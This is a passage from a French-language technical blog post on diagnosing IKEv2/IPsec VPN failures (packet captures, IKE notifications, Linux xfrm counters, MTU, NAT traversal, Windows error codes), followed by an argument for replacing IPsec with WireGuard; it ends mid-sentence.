Regardez le fil d\u0026rsquo;abord, pas la console Les deux consoles vous diront ce qu\u0026rsquo;elles croient. Le fil vous dit ce qui s\u0026rsquo;est passé. Une capture à la bordure, trente secondes, répond aux trois premières questions d\u0026rsquo;un coup :\ntcpdump -ni eth0 \u0026#39;udp port 500 or udp port 4500 or ip proto 50 or ip6 proto 50\u0026#39; Rien du tout en sortie — le problème est en amont d\u0026rsquo;IPsec : routage, politique, ou un pare-feu local. Arrêtez de chercher du côté de la cryptographie. Sortant seulement, rien en retour — vos paquets partent et leurs réponses n\u0026rsquo;arrivent pas. Filtrage en transit, pair mort, ou bout distant qui rejette en silence. UDP 500 dans les deux sens mais 4500 n\u0026rsquo;apparaît jamais — la traversée de NAT n\u0026rsquo;a pas été négociée. Soit un bout l\u0026rsquo;a désactivée, soit la détection a échoué. Protocole 50 sur le fil alors qu\u0026rsquo;un bout est derrière un NAT — la négociation a décidé qu\u0026rsquo;il n\u0026rsquo;y avait pas de traducteur alors qu\u0026rsquo;il y en a un. Cela ne reviendra jamais. Lire l\u0026rsquo;échec de l\u0026rsquo;échange de clés IKEv2 vous dit pourquoi il a refusé, et les noms des notifications sont assez précis pour diagnostiquer à eux seuls. Il aide d\u0026rsquo;avoir d\u0026rsquo;abord la forme de tout l\u0026rsquo;échange sous les yeux, car chaque notification ci-dessous appartient à un barreau précis de celui-ci.\nL'échange IKEv2 étape par étape, et quelle panne habite chaque étape Chaque étape de l'échange, et la panne qui l'habite Client derrière un traducteur Passerelle adresse réelle Ce qui échoue ici requête IKE_SA_INIT \u0026#8212; UDP 500 rien en retour \u0026#8212; 809 ERROR_VPN_TIMEOUT réponse IKE_SA_INIT \u0026#8212; UDP 500 NO_PROPOSAL_CHOSEN, INVALID_KE_PAYLOAD NAT détecté, les deux bouts basculent sur 4500 pas de bascule \u0026#8212; proto 50 meurt au traducteur IKE_AUTH \u0026#8212; UDP 4500, chiffré trop gros, fragment perdu, retransmission, expiration réponse IKE_AUTH \u0026#8212; CHILD_SA créée AUTHENTICATION_FAILED \u0026#8212; 13801, 13806 ESP dans UDP 4500 \u0026#8212; votre trafic TS_UNACCEPTABLE \u0026#8212; monté, et rien ne bouge maintien \u0026#8212; 1 octet toutes les 20 s, pour toujours sans maintien \u0026#8212; l'entrée expire à l'inactivité La bascule est la charnière. Au-dessus tout est UDP 500. En dessous tout est UDP 4500. Si la bascule n'arrive jamais, vous mettez le protocole 50 dans un traducteur qui n'a rien à réécrire, et il ne reviendra jamais. La panne de taille habite un seul barreau. IKE_AUTH porte la chaîne de certificats : c'est le seul message volumineux de l'échelle. Une clé partagée qui se connecte là où un certificat échoue, c'est un fragment perdu, pas un mauvais certificat. Créée ne veut pas dire fonctionnelle. L'association enfant peut exister sans rien porter, si les deux bouts ne s'accordent pas sur le trafic qu'elle couvre. Chaque panne de la colonne de droite est signalée au client comme une expiration, quoi qu'elle ait vraiment été. L\u0026rsquo;échange du premier paquet au régime établi, avec la panne qui habite chaque étape. La bascule de 500 vers 4500 est la charnière : au-dessus tout est sur un port, en dessous sur un autre, et si la bascule n\u0026rsquo;arrive jamais, vous mettez le protocole 50 dans un traducteur qui ne peut pas le porter. IKE_AUTH est ici le seul message volumineux, et c\u0026rsquo;est pour cela qu\u0026rsquo;une clé partagée peut se connecter là où un certificat échoue — c\u0026rsquo;est un fragment perdu, pas un mauvais certificat. Notification Ce que cela veut vraiment dire Où regarder NO_PROPOSAL_CHOSEN Aucune des combinaisons chiffrement/intégrité/DH/PRF proposées ne convient au bout distant Les deux listes de propositions ; attendez-vous à un algorithme déprécié d\u0026rsquo;un côté INVALID_KE_PAYLOAD Groupe Diffie-Hellman discordant — vous avez proposé un groupe, il en veut un autre Le groupe DH, en tête de la proposition AUTHENTICATION_FAILED Clé, certificat ou identité incorrects — clé prépartagée discordante, certificat expiré, ou identifiant que le pair n\u0026rsquo;attend pas L\u0026rsquo;identité, pas seulement le secret TS_UNACCEPTABLE Les sélecteurs de trafic ne se recouvrent pas — vous avez demandé à protéger des sous-réseaux que le pair ne protège pas La configuration des sélecteurs aux deux bouts INVALID_SPI Un paquet est arrivé pour une association qui n\u0026rsquo;existe plus, en général après un redémarrage d\u0026rsquo;un seul côté Si un bout a renouvelé ses clés ou redémarré Le guide Juniper sur la phase 2 dit la même chose du plus courant d\u0026rsquo;entre eux : « no proposal chosen » signifie que l\u0026rsquo;équipement « did not accept any of the IKE Phase 2 proposals that the peer sent », et le correctif est une proposition mutuellement acceptable, pas un redémarrage répété40.\nSur strongSwan, l\u0026rsquo;état de tout en une commande :\nswanctl --list-sas # what is established, and what it negotiated swanctl --log # the negotiation as it happens Sur Cisco, show crypto ikev2 sa et show crypto ipsec sa, avec debug crypto ikev2 quand cela ne monte pas41. Sur Junos, show security ike security-associations et show security ipsec security-associations, avec la négociation dans show log kmd-logs42.\nLa traversée de NAT a-t-elle vraiment été négociée ? C\u0026rsquo;est la vérification que les gens sautent, et elle explique une grande partie des « ça marche depuis le bureau et pas depuis la maison ».\nChaque bout envoie des empreintes des adresses et des ports qu\u0026rsquo;il croit en jeu. Si l\u0026rsquo;empreinte que le bout distant calcule à partir du paquet reçu ne correspond pas à celle que vous avez envoyée, c\u0026rsquo;est qu\u0026rsquo;il y a un traducteur entre vous, et les deux bouts passent sur UDP 4500. Si la détection échoue — un côté a désactivé la traversée, ou quelque chose au milieu abîme l\u0026rsquo;échange — les deux bouts continuent en ESP nu, qui ne survivra pas au traducteur.\nDonc : voyez le port 4500 dans la capture, dans les deux sens, ou il n\u0026rsquo;y a aucune traversée. Ne croyez pas la console sur parole.\nVérifiez ensuite que le keepalive tourne vraiment et que son intervalle est inférieur au délai auquel votre opérateur fait vieillir les associations. La valeur par défaut est de vingt secondes6 ; le plancher de la norme pour les opérateurs de NAT est de deux minutes9 ; ce que fait votre opérateur précis, vous ne le voyez pas. Si le tunnel meurt après une inactivité et renaît au premier trafic, c\u0026rsquo;est ce cas à chaque fois.\nLes compteurs du noyau que presque personne ne lit Sous Linux, la couche de transformation tient un décompte complet des erreurs, et c\u0026rsquo;est le moyen le plus rapide de transformer « ça ne marche pas » en cause précise. Les compteurs sont documentés par le noyau lui-même43.\ncat /proc/net/xfrm_stat # error counters, by cause ip -s xfrm state # per-SA packet and byte counters ip xfrm policy # what should be protected, and in which direction Cela se lit mieux comme un chemin que comme une liste. Le paquet traverse cinq étapes, et chacune a son compteur :\nCinq étapes, et le compteur qui nomme celle où votre paquet est mort Suivez un paquet, et laissez le compteur nommer l'étape où il est mort Votre politique ce trafic est-il protégé ? XfrmOutPolBlock vous le jetez vous-même, exprès, en politique Votre association chiffrer, sceller, numéroter XfrmOutNoStates la politique a correspondu, aucune association ne le porte Le chemin traducteur, MTU, filtres rien ne s'incrémente, d'aucun côté c'est là que vivent le NAT, la MTU et le filtrage, et aucun compteur n'en voit rien Leur association dest + protocole + SPI XfrmInNoStates \u0026#183; XfrmInStateProtoError \u0026#183; XfrmInStateSeqError c'est arrivé et la cryptographie n'est pas tombée juste : mauvais SPI, mauvaise clé, hors fenêtre Leur politique cela devait-il être protégé ? XfrmInTmplMismatch \u0026#183; XfrmInNoPols la cryptographie allait bien, la politique n'était pas d'accord qu'elle doive l'être L'étape trois est celle sans compteur. Tout ce qu'un quart de siècle de traduction a fait à ce protocole se passe là, et la couche de transformation n'en voit pas un seul paquet, d'aucun côté. C'est toute la raison pour laquelle une capture passe avant une console. Les étapes quatre et cinq sont des pannes opposées. Quatre veut dire que la cryptographie n'est pas tombée juste. Cinq veut dire que si, et que quelque chose n'était pas d'accord. On les regarde presque toujours dans le mauvais ordre, car cinq ressemble à une panne de crypto. Les noms de compteurs sont ceux de Linux. Sous Junos, les mêmes étapes se lisent dans show security ipsec statistics ; sur le Fisher-Price OS (Windows), dans Get-NetIPsecQuickModeSA et le journal du Pare-feu Windows avec sécurité avancée. Cinq étapes, et le compteur qui nomme celle où votre paquet est mort. L\u0026rsquo;étape trois est la seule sans aucun compteur — le traducteur, la MTU et tous les filtres intermédiaires vivent là, et la couche de transformation n\u0026rsquo;en voit pas un seul paquet, d\u0026rsquo;aucun côté. C\u0026rsquo;est tout l\u0026rsquo;argument pour prendre une capture avant une console. Les étapes quatre et cinq sont des pannes opposées et sont regardées dans le mauvais ordre presque à chaque fois. Regardez lequel bouge pendant que la panne se produit :\nCompteur Description du noyau Ce que cela veut dire le jour J XfrmInNoStates « No state is found i.e. Either inbound SPI, address, or IPsec protocol at SA is wrong » Leurs paquets arrivent pour une association que vous n\u0026rsquo;avez pas — en général un renouvellement ou un redémarrage d\u0026rsquo;un seul côté XfrmInStateSeqError « Sequence error i.e. Sequence number is out of window » Réordonnancement ou ennui de fenêtre anti-rejeu ; voir l\u0026rsquo;interaction QoS ci-dessus XfrmInStateProtoError « Transformation protocol specific error e.g. SA key is wrong » Les clés divergent — l\u0026rsquo;association a survécu à un renouvellement d\u0026rsquo;un seul côté XfrmInTmplMismatch « No matching template for states e.g. Inbound SAs are correct but SP rule is wrong » L\u0026rsquo;association est bonne et la politique ne l\u0026rsquo;est pas XfrmInNoPols « No policy is found for states e.g. Inbound SAs are correct but no SP is found » Du trafic protégé arrive alors que rien n\u0026rsquo;avait demandé sa protection XfrmOutPolBlock « Policy discards » C\u0026rsquo;est vous qui le jetez, exprès, dans la politique XfrmOutNoStates « No state is found » Du trafic a rencontré une politique sans association pour le porter — le tunnel n\u0026rsquo;est jamais monté XfrmInTmplMismatch et XfrmInNoPols sont les deux à reconnaître à l\u0026rsquo;œil, parce que tous deux veulent dire que la cryptographie va bien et que la politique ne va pas, c\u0026rsquo;est-à-dire l\u0026rsquo;inverse de là où tout le monde cherche en premier.\nIl dit « monté » et rien ne bouge Les deux bouts établis, aucun trafic. Lisez les compteurs par association dans les deux sens :\nip -s xfrm state Octets sortants en hausse, entrants à plat — vous chiffrez et vous envoyez, et rien ne revient. Soit votre ESP ne les atteint pas, soit le leur ne vous atteint pas. Demandez au bout distant son compteur sortant ; s\u0026rsquo;il monte aussi, les paquets meurent en transit et la question suivante est où, et c\u0026rsquo;est une question de TTL, pas de cryptographie. Les deux à plat — rien n\u0026rsquo;est présenté au tunnel. Routage ou politique, pas IPsec. En mode routé, vérifiez que la route pointe bien sur l\u0026rsquo;interface du tunnel ; en mode politique, vérifiez les sélecteurs. Les deux en hausse, applications toujours cassées — ce n\u0026rsquo;est pas le tunnel. Allez voir ce qu\u0026rsquo;il y a de l\u0026rsquo;autre côté. Le conseil de Juniper pour ce cas suit le même instinct dans leur langage : si seul le compteur de paquets sortants de la session monte, confirmez auprès du pair que le trafic est bien reçu44.\nLes petites choses marchent, les grandes bloquent La MTU. C\u0026rsquo;est toujours la MTU. Le test prend dix secondes :\nping -M do -s 1400 10.0.0.1 # inside the tunnel, do-not-fragment set ping -M do -s 1300 10.0.0.1 # step down until it succeeds L\u0026rsquo;endroit où cela commence à passer vous donne la taille réellement utilisable. Faites ensuite en sorte que TCP le découvre lui-même, en bornant la taille de segment annoncée au chemin plutôt qu\u0026rsquo;en espérant que chaque erreur ICMP survive au voyage :\nnft add rule inet filter forward tcp flags syn tcp option maxseg size set rt mtu Et corrigez aussi la cause, qui est presque toujours une règle ICMP trop large à une bordure quelque part. Jetez l\u0026rsquo;écho si vous voulez. J\u0026rsquo;ai défendu ailleurs qu\u0026rsquo;il le mérite. Mais gardez Fragmentation Needed et Packet Too Big. Ce sont le mécanisme, pas une politesse.\nIl tombe à intervalle régulier Chronométrez les pannes. L\u0026rsquo;intervalle nomme la cause à lui seul.\nUne période fixe correspondant à une durée de vie configurée — renouvellement de clés. L\u0026rsquo;association expire et la négociation de remplacement échoue ou entre en concurrence. Vérifiez les durées de vie des deux bouts ; des valeurs différentes sont normales et sans problème, mais une durée de vie dure d\u0026rsquo;un côté plus courte que la durée souple de l\u0026rsquo;autre produit exactement cela. Après une période sans trafic, de retour au premier usage — une association NAT a expiré. Intervalle du keepalive, ou absence de keepalive. La détection de pair mort coupe alors que la liaison va bien — les sondes se perdent au lieu que le pair soit mort, souvent parce que les sondes sont le seul trafic et que l\u0026rsquo;association est déjà partie. Le deuxième utilisateur éjecte le premier Deux pairs atteignent le concentrateur depuis une seule adresse et s\u0026rsquo;authentifient sous la même identité. La passerelle a le choix entre garder l\u0026rsquo;ancienne association et la remplacer, et une valeur par défaut répandue est de remplacer. La deuxième connexion gagne donc et la première meurt en silence.\nDonnez à chaque pair une identité réellement unique plutôt qu\u0026rsquo;une adresse ou un nom partagé, et réglez la passerelle pour qu\u0026rsquo;elle conserve plusieurs associations depuis une même adresse au lieu d\u0026rsquo;en supposer une par pair. Puis testez-le de la seule façon qui compte : deux clients, une adresse, en même temps. Si votre recette n\u0026rsquo;a jamais eu deux utilisateurs derrière un NAT, vous n\u0026rsquo;avez pas testé le cas dans lequel se trouvent la plupart de vos utilisateurs.\nLes mêmes pannes, sur le Fisher-Price OS (Windows) Chaque vérification ci-dessus s\u0026rsquo;exécute depuis une machine Unix, et si vous en avez une sur ce réseau, prenez-la : elle vous dira la vérité plus vite et elle se moque de ce qui tourne en face. Mais beaucoup de lecteurs ont un client qui ne se connecte pas, un système d\u0026rsquo;exploitation qui leur cache la machine par choix de conception, et rien d\u0026rsquo;autre à regarder. Voici donc la même méthode, dans le même ordre, avec les outils que ce système livre réellement.\nRegardez le fil. Il n\u0026rsquo;y a pas de tcpdump, mais il y a une capture. Lancez-la en mode élevé, reproduisez la panne, arrêtez-la :\nnetsh wfp capture start cab=on file=ipsec netsh wfp capture stop Cela écrit un .cab. Dedans se trouve la trace de ce que la plateforme de filtrage et l\u0026rsquo;échange de clés ont vraiment fait pendant la panne, ce qui est davantage que ce que l\u0026rsquo;une ou l\u0026rsquo;autre console veut bien admettre. Pour un regard en direct plutôt qu\u0026rsquo;une archive, la même famille de commandes écrit sur la console avec file=- : netsh wfp show state « Displays the current state of WFP and IPsec », et netsh wfp show ikeevents « Displays recent Internet Key Exchange (IKE) epoch events matching the specified parameters », filtré sur un seul pair45.\nnetsh wfp show state file=- netsh wfp show ikeevents remoteaddr=203.0.113.5 file=- show ikeevents est ici ce qui ressemble le plus au journal d\u0026rsquo;échange que toute autre pile écrit sans qu\u0026rsquo;on le lui demande. Bon à savoir qu\u0026rsquo;il existe. Sinon l\u0026rsquo;interface vous tend un nombre à trois chiffres et rien d\u0026rsquo;autre, et vous diagnostiquez un échange de clés à l\u0026rsquo;aveugle.\nLisez les associations, et lisez les deux. Les équivalents de ip -s xfrm state et de swanctl --list-sas sont deux applets de commande, et la séparation entre les deux est tout le diagnostic :\nGet-NetIPsecMainModeSA Get-NetIPsecQuickModeSA Le mode principal est l\u0026rsquo;échange de clés. Le mode rapide porte les paquets. Microsoft énonce la relation clairement : « There is only one main mode SA between a pair of computers, but there can be many quick mode SAs »46. Un mode principal présent avec un mode rapide vide est donc la même panne qu\u0026rsquo;une IKE_SA montée sans CHILD_SA dessous, et cela veut dire la même chose : les deux bouts se sont mis d\u0026rsquo;accord sur la façon de parler, puis ne se sont pas mis d\u0026rsquo;accord sur ce qu\u0026rsquo;il faut protéger. Regardez les sélecteurs de trafic, pas les algorithmes.\nLisez les journaux, aux deux endroits où ils se cachent. Les échecs au niveau de la connexion atterrissent dans le journal Application sous la source RasClient, et la note de Microsoft sur leur lecture est la partie utile : « All error messages return the error code at the end of the message »47. Ce nombre est le diagnostic, et la section suivante dit ce que les nombres veulent dire. Les décisions de stratégie et de filtrage atterrissent ailleurs, sous Journaux des applications et des services, dans les canaux du Pare-feu Windows avec fonctions avancées de sécurité. Deux journaux, deux équipes, une panne.\nCollectez proprement quand vous devez escalader. Le paquet pris en charge est TSS — TSS.ps1 -Scenario NET_VPN sur le client, TSS.ps1 -Scenario NET_RAS sur le serveur, démarré avant de reproduire la panne et arrêté après48. Apprenez-le avant qu\u0026rsquo;on vous le demande.\nQuand il reste sur Connexion et finit par expirer C\u0026rsquo;est la panne qui remplit les tickets, et le mot dans l\u0026rsquo;erreur est un mensonge. Commencez par nommer le code. Le code est précis même quand le message ne sert à rien.\nUne expiration de connexion est l'une de trois choses, et aucune n'est une horloge Ce que le client appelle une expiration, et ce que c'était vraiment Le client dit : délai expiré 809, 718, 828, 930, 638 \u0026#8212; cinq codes, un mot, et aucun n'est une horloge C'est l'une de trois choses, et un test vous dit laquelle Rien n'est arrivé le cas du silence Test : capturer au client \u0026#8212; UDP 500 part-il sans que rien ne revienne ? Filtrage sur le chemin, ou traversée de NAT jamais négociée, donc 4500 n'a jamais été envoyé. Arrivé, trop gros le cas du fragment Test : une clé partagée se connecte-t-elle là où un certificat échoue ? IKE_AUTH porte la chaîne, donc il se fragmente, et le fragment est jeté sur le chemin. Jamais le tunnel le cas de la mauvaise couche Test : la passerelle journalise-t-elle un échec d'authentification à la même seconde ? 930 c'est RADIUS. 812 c'est la méthode d'authentification. 13801 et 13806 ce sont les certificats. Aucune des trois n'est une minuterie. Allonger le délai est la seule chose que l'interface vous invite à faire, et la seule qui n'en a jamais réglé une seule. Le mot est là parce que la couche qui signale la panne ne voit pas assez loin pour en dire plus. Testez dans cet ordre. Le premier coûte trente secondes de capture, le deuxième une tentative de connexion, le troisième un journal. Cinq codes d\u0026rsquo;erreur portent le mot timeout et aucun n\u0026rsquo;est une horloge. C\u0026rsquo;est l\u0026rsquo;une de trois choses, et un seul test les sépare : une capture dit si quelque chose est revenu, une tentative de connexion avec une clé partagée dit si l\u0026rsquo;échange de certificats était simplement trop gros pour arriver, et le journal de la passerelle dit si le tunnel a jamais été le problème. Testez dans cet ordre, car c\u0026rsquo;est aussi l\u0026rsquo;ordre de ce qu\u0026rsquo;ils coûtent. Code Nom dans raserror.h Ce qui s\u0026rsquo;est vraiment passé 809 ERROR_VPN_TIMEOUT Rien n\u0026rsquo;est revenu du tout. Cause indiquée par Microsoft : « the UDP 500 or 4500 ports on the VPN server or firewall are blocked »47 — mais blocked recouvre trois choses différentes et une seule est une règle d\u0026rsquo;interdiction. Le plus souvent, le 4500 n\u0026rsquo;a jamais été envoyé, faute de traversée de NAT négociée, ou l\u0026rsquo;assistant qui le portait a été désactivé. Lisez la suite avant de demander une modification du pare-feu 789 ERROR_OAKLEY_GENERAL_PROCESSING « The L2TP connection attempt failed because the security layer encountered a processing error during initial negotiations » — les identifiants ou les certificats, pas le réseau 718 ERROR_PPP_TIMEOUT La partie IPsec a marché. PPP dans le tunnel L2TP n\u0026rsquo;a pas eu de réponse 828 ERROR_IDLE_TIMEOUT « The connection was terminated because of idle timeout » — un réglage côté serveur, délibéré 930 ERROR_AUTH_SERVER_TIMEOUT RADIUS n\u0026rsquo;a pas répondu à temps. Rien à voir avec IPsec 638 ERROR_REQUEST_TIMEOUT Le générique. Traitez-le comme une absence d\u0026rsquo;information et allez sur le fil Chacun vient de la propre liste d\u0026rsquo;erreurs de Microsoft49. Relisez maintenant 809. Il s\u0026rsquo;appelle ERROR_VPN_TIMEOUT, et la cause documentée est un port bloqué. Le client n\u0026rsquo;expire pas parce que l\u0026rsquo;autre bout est lent. Il expire parce que l\u0026rsquo;autre bout est muet, et le silence est le seul mode de panne qu\u0026rsquo;un protocole sans ports et sans poignée de main visible sait signaler.\nMéfiez-vous quand même du mot blocked, car il porte plus qu\u0026rsquo;il ne peut. Trois choses différentes le portent, et une seule est une règle d\u0026rsquo;interdiction.\nPersonne n\u0026rsquo;a jamais envoyé de 4500. La traversée de NAT n\u0026rsquo;a pas été négociée, donc le client a continué à parler ESP, et ESP ne donne rien à réécrire à un traducteur. Le réglage par défaut de cette plateforme suffit à l\u0026rsquo;expliquer : sans la valeur de registre, elle ne forme aucune association NAT-T vers un serveur derrière un traducteur31. Le 4500 n\u0026rsquo;est donc pas bloqué. Il n\u0026rsquo;a jamais été essayé.\nL\u0026rsquo;assistant qui masquait cela a été désactivé. Les pare-feu et les box portent des assistants par protocole — l\u0026rsquo;IPsec passthrough sur le matériel grand public, et toute la famille des passerelles de niveau applicatif derrière — qui lisent un protocole que le NAT ne sait pas traiter et ouvrent le chemin de retour pour lui. Sous Linux, la forme automatique de tout cela a été désactivée par défaut au noyau 4.7 « for security reasons », la consigne depuis étant d\u0026rsquo;attacher un assistant délibérément par une règle ou pas du tout ; parmi les assistants couverts figure celui de PPTP50.\nEt les désactiver était le bon choix. Un assistant est un morceau de votre pare-feu qui analyse une charge utile puis perce un trou d\u0026rsquo;après ce qu\u0026rsquo;il a lu. NAT Slipstreaming est la facture : un navigateur qui visite une page, du trafic façonné pour que l\u0026rsquo;assistant SIP ou H.323 du routeur le lise comme un appel, et un trou percé à travers le NAT — dans la version de 2021, vers n\u0026rsquo;importe quelle adresse interne, pas seulement la machine qui a chargé la page51. Désactiver les assistants ferme cela. Cela arrête aussi votre IPsec. Les deux sont vrais en même temps, et le second n\u0026rsquo;est pas un argument pour défaire le premier.\nCe qui est encore ce billet en miniature. Le protocole ne marchait que parce que des boîtiers au milieu lisaient du trafic qui ne les regardait pas et ouvraient des trous en son nom, et le secteur a passé la dernière décennie à décider, avec raison, d\u0026rsquo;arrêter de faire ça.\nTravaillez donc les causes dans cet ordre, le moins cher d\u0026rsquo;abord.\nUn : rien ne revient. Capturez au client, ou demandez à la passerelle. Si UDP 500 part et que rien ne revient, c\u0026rsquo;est du filtrage ou de la joignabilité, et aucun compteur ne réglera ça. Si 500 passe dans les deux sens et que 4500 n\u0026rsquo;apparaît jamais, la traversée de NAT n\u0026rsquo;a pas été négociée. Et si l\u0026rsquo;un des deux bouts est derrière un traducteur, vous revoilà à la valeur de registre plus haut dans ce billet : AssumeUDPEncapsulationContextOnSendRule, 1 ou 2, sur les deux machines, puis un redémarrage31. Sans elle, le client refuse par conception et le signale comme une expiration.\nDeux : la réponse est trop grosse pour arriver. Celle-là coûte des après-midi entiers. L\u0026rsquo;authentification par certificat rend le deuxième échange gros, parce qu\u0026rsquo;il porte une chaîne, et un gros échange se fragmente. Les fragments sont jetés par les mêmes boîtiers intermédiaires que tout le reste de ce billet, le client retransmet dans le même trou, puis il abandonne et dit expiration. Le signe est à lui seul un diagnostic : une clé partagée se connecte et un certificat non. Ce n\u0026rsquo;est pas une panne de certificat. C\u0026rsquo;est une panne de taille, parce que l\u0026rsquo;échange avec clé partagée est assez petit pour passer. La fragmentation IKEv2 normalisée existe précisément pour ça23, et strongSwan consigne quand cette plateforme l\u0026rsquo;a eue : « IKEv2 fragmentation is supported since the v1803 release of Windows 10 and Windows Server »33. Plus ancien que ça, ou une passerelle avec la fragmentation désactivée, et vous comptez sur un chemin qui portera un datagramme UDP fragmenté. Beaucoup ne le feront pas.\nTrois : il se connecte, puis tombe à intervalle régulier. Chronométrez. S\u0026rsquo;il meurt après une période d\u0026rsquo;inactivité fixe, c\u0026rsquo;est 828 et c\u0026rsquo;est de la configuration, pas une panne — -IdleDisconnectSeconds sur le serveur, avec -SALifeTimeSeconds, -MMSALifeTimeSeconds et -SADataSizeForRenegotiationKilobytes comme les trois autres horloges capables de terminer une session52. La dernière la termine au volume plutôt qu\u0026rsquo;au temps, et c\u0026rsquo;est pourquoi une session peut mourir régulièrement pendant une grosse copie de fichiers et jamais pendant une journée de courrier. Et si elle meurt au renouvellement de clés avec le client derrière un NAT, c\u0026rsquo;est la panne d\u0026rsquo;interopérabilité documentée plus haut : le client refuse un renouvellement lancé par le serveur avec l\u0026rsquo;erreur Microsoft 13863, et la réponse côté passerelle est d\u0026rsquo;arrêter de le lancer et de laisser faire le client33.\nQuatre : ce n\u0026rsquo;est pas du tout le tunnel. 930, c\u0026rsquo;est RADIUS. 812, c\u0026rsquo;est une méthode d\u0026rsquo;authentification que le serveur n\u0026rsquo;a pas acceptée47. 13801 et 13806, ce sont des certificats — mauvaise utilisation étendue de clé, expiré, racine absente, ou un nom de serveur qui ne correspond pas au sujet du certificat47. La négociation du tunnel allait bien dans les quatre cas, et si vous passez l\u0026rsquo;après-midi sur les algorithmes vous n\u0026rsquo;en trouverez aucun.\nVoilà ce qu\u0026rsquo;il faut retenir de ce tableau. Six codes d\u0026rsquo;erreur, cinq avec le mot timeout dans le nom, et pas un seul n\u0026rsquo;est une expiration en fait. Ce sont un port bloqué, un fragment perdu, une décision de stratégie et un serveur RADIUS, tous portant le même mot, parce que la couche qui signale la panne ne voit pas assez de ce qui s\u0026rsquo;est passé pour dire quelque chose de plus utile. Allonger le compteur n\u0026rsquo;en règle aucun, et allonger le compteur est ce que l\u0026rsquo;interface vous invite à faire.\nQuoi faire tourner à la place Je ne vais pas faire croire que le remplaçant est exotique. Il est dans le noyau et il y est depuis des années.\nWireGuard, c\u0026rsquo;est un port UDP, une clé par pair, aucune négociation de chiffrement et aucune agilité de protocole. La position de son auteur là-dessus est délibérée et affichée : « It intentionally lacks cipher and protocol agility. If holes are found in the underlying primitives, all endpoints will be required to update. As shown by the continuing torrent of SSL/TLS vulnerabilities, cipher agility increases complexity monumentally. »53 Cette seule décision supprime d\u0026rsquo;un coup NO_PROPOSAL_CHOSEN, INVALID_KE_PAYLOAD, les attaques par rétrogradation et le constat de Logjam, parce qu\u0026rsquo;il n\u0026rsquo;y a rien à négocier et rien à rétrograder.\nIl est honnête sur la contrepartie, et moi aussi : pas d\u0026rsquo;agilité veut dire que le jour où une primitive tombe, vous mettez à jour toute la flotte au lieu de changer une ligne de configuration. C\u0026rsquo;est un coût d\u0026rsquo;exploitation réel et c\u0026rsquo;est le bon à payer.\nLe reste répond presque point par point à la liste ci-dessus. Avoir un port UDP veut dire que NAT et CGNAT le traitent comme n\u0026rsquo;importe quel flux, et qu\u0026rsquo;ECMP et l\u0026rsquo;agrégation de liens le hachent comme n\u0026rsquo;importe quel flux. L\u0026rsquo;itinérance est intégrée plutôt que boulonnée — un paquet authentifié venant d\u0026rsquo;une nouvelle adresse déplace le point d\u0026rsquo;extrémité du pair, donc un téléphone qui passe du Wi-Fi au mobile ne renégocie rien. Il ne répond rien à un paquet non authentifié, donc un scanner trouve un port fermé là où IPsec lui offrirait un concentrateur avec qui discuter. Et il tient en moins de 4 000 lignes de code53, face à une pile qui a besoin d\u0026rsquo;un document entier pour lister ses seize incompatibilités avec un seul intermédiaire.\nCôté performances, il a simplement mesuré plus vite que les deux configurations IPsec auxquelles il a été comparé : 1 011 Mbit/s contre 881 et 825, avec une latence plus faible53. Je ne mettrais pas un protocole à la retraite sur la foi d\u0026rsquo;un banc d\u0026rsquo;essai. Je le mentionne parce que le dernier argument qui reste en faveur d\u0026rsquo;IPsec est en général la performance, et il est faux lui aussi.\nPour amener une personne à une application — plutôt qu\u0026rsquo;un réseau à un réseau — la réponse n\u0026rsquo;est pas un tunnel du tout. L\u0026rsquo;identité à la porte d\u0026rsquo;entrée, l\u0026rsquo;application publiée à travers elle, rien de routé. J\u0026rsquo;ai construit cela avec Proxmox et Cloudflare Access dans VDI Zero Trust sans la facture cloud, et le point pertinent ici est qu\u0026rsquo;un utilisateur qui a besoin de trois applications internes n\u0026rsquo;a pas besoin d\u0026rsquo;une route vers tout votre parc.\nEt disons la part non dite au sujet du matériel. Oui, il existe des cartes réseau et des ASIC avec déchargement ESP, et c\u0026rsquo;est un vrai argument pour IPsec sur du matériel précis à des débits précis. C\u0026rsquo;est un argument sur du silicium qu\u0026rsquo;on vous a déjà vendu, pas sur la justesse du protocole. De ce fait il se périme, et vite. PPTP a survécu exactement de la même manière, exactement aussi longtemps que la case à cocher a existé.\nLe mettre à la retraite correctement Une mise à la retraite est un plan avec des dates, pas un sentiment. Voici celui que je signerais.\nArrêtez les nouveaux déploiements IPsec maintenant. Pas « privilégier les alternatives ». Arrêtez. Chaque nouveau tunnel est un tunnel que quelqu\u0026rsquo;un devra migrer plus tard, et ceux qu\u0026rsquo;on construit aujourd\u0026rsquo;hui tourneront encore en 2035 si personne ne dit non cette semaine.\nTraitez l\u0026rsquo;accès distant en premier, parce que c\u0026rsquo;est là que chaque défaillance de ce billet frappe le plus fort : le CGNAT, l\u0026rsquo;adresse partagée, les keepalives, le deuxième utilisateur dans la même maison, le trou noir de MTU sur un réseau d\u0026rsquo;hôtel quelconque. C\u0026rsquo;est aussi le plus facile à déplacer, parce que les postes sont gérés et que le changement tient dans un client.\nPuis le site à site sur l\u0026rsquo;internet public, les mêmes problèmes avec moins de points d\u0026rsquo;extrémité et une fenêtre de maintenance.\nGardez pour la fin les tunnels dont vous ne possédez pas les deux bouts : un partenaire, un régulateur, le service géré d\u0026rsquo;un opérateur. Ceux-là bougent quand le contrat bouge, et la manière de les faire bouger est au point suivant.\nCessez d\u0026rsquo;acheter du matériel dont le seul tunnel est IPsec. Mettez-le dans l\u0026rsquo;appel d\u0026rsquo;offres. Une ligne qui demande un tunnel moderne, fondé sur un port, capable d\u0026rsquo;itinérance, est une ligne à laquelle un constructeur répond ou ne répond pas, et c\u0026rsquo;est ainsi que l\u0026rsquo;argument du parc installé finit par perdre. Cet argument est le seul qui maintienne tout cela en vie, et il ne se bat que par les achats.\nÉcrivez quels tunnels restent et pourquoi, et mettez une date sur chacun. Un protocole dont personne ne s\u0026rsquo;est occupé pendant dix ans, c\u0026rsquo;est ainsi que PPTP est arrivé en 2026. Un inventaire daté fait la différence entre mettre quelque chose à la retraite et simplement ne pas l\u0026rsquo;aimer.\nSi vous le déployez encore, pouvez-vous vous dire professionnel ? C\u0026rsquo;est une vraie question, et je vais y répondre honnêtement, parce que c\u0026rsquo;est celle vers laquelle le reste de ce billet marche.\nTout dépend de si vous savez. Et le savoir ne vous arrive pas tout seul. Faire en sorte de savoir, c\u0026rsquo;est le métier.\nSi vous montez cette année un nouvel accès distant IPsec et que vous ne pouvez pas dire, sans rien aller chercher, pourquoi ESP n\u0026rsquo;a pas de ports, ce qu\u0026rsquo;une ligne résidentielle derrière un NAT d\u0026rsquo;opérateur lui fait, pourquoi 